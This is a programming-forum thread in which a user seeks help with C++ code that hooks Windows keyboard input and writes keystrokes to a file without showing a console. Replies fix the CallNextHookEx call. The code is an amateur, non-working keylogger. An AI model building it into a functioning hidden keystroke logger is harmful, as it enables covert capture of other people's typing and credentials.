Hi
This is code:

#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;


            }
        }

    }
}



{
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);

    {
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }

Can someone tell me and show how it should be well used CallNextHookEx? Because of this I have a problem

Recommended Answers

All 3 Replies

hi dear
Don't use a variable's type decleration when you're simply calling the function
// return CallNextHookEx(HHOOK hKeyboardHook, nCode, wParam, lParam); <-------
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); // <-------

#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam==WM_KEYDOWN)
{
    switch (p->vkCode)
    {

        case 'VK_A' : out <<"A"; break;
        case 'VK_a' : out <<"a"; break;

        default:
              out << char(tolower(p->vkCode));

    }

}
return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
out.close();
return 0;
}

Revised code but why he wants the program to enable the compiler will not start. I just want to test that it works at all and the console does not open. Anyone knows why?
Thanks in advance

From looking at "WinMain" it looks like your project is not a console application.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.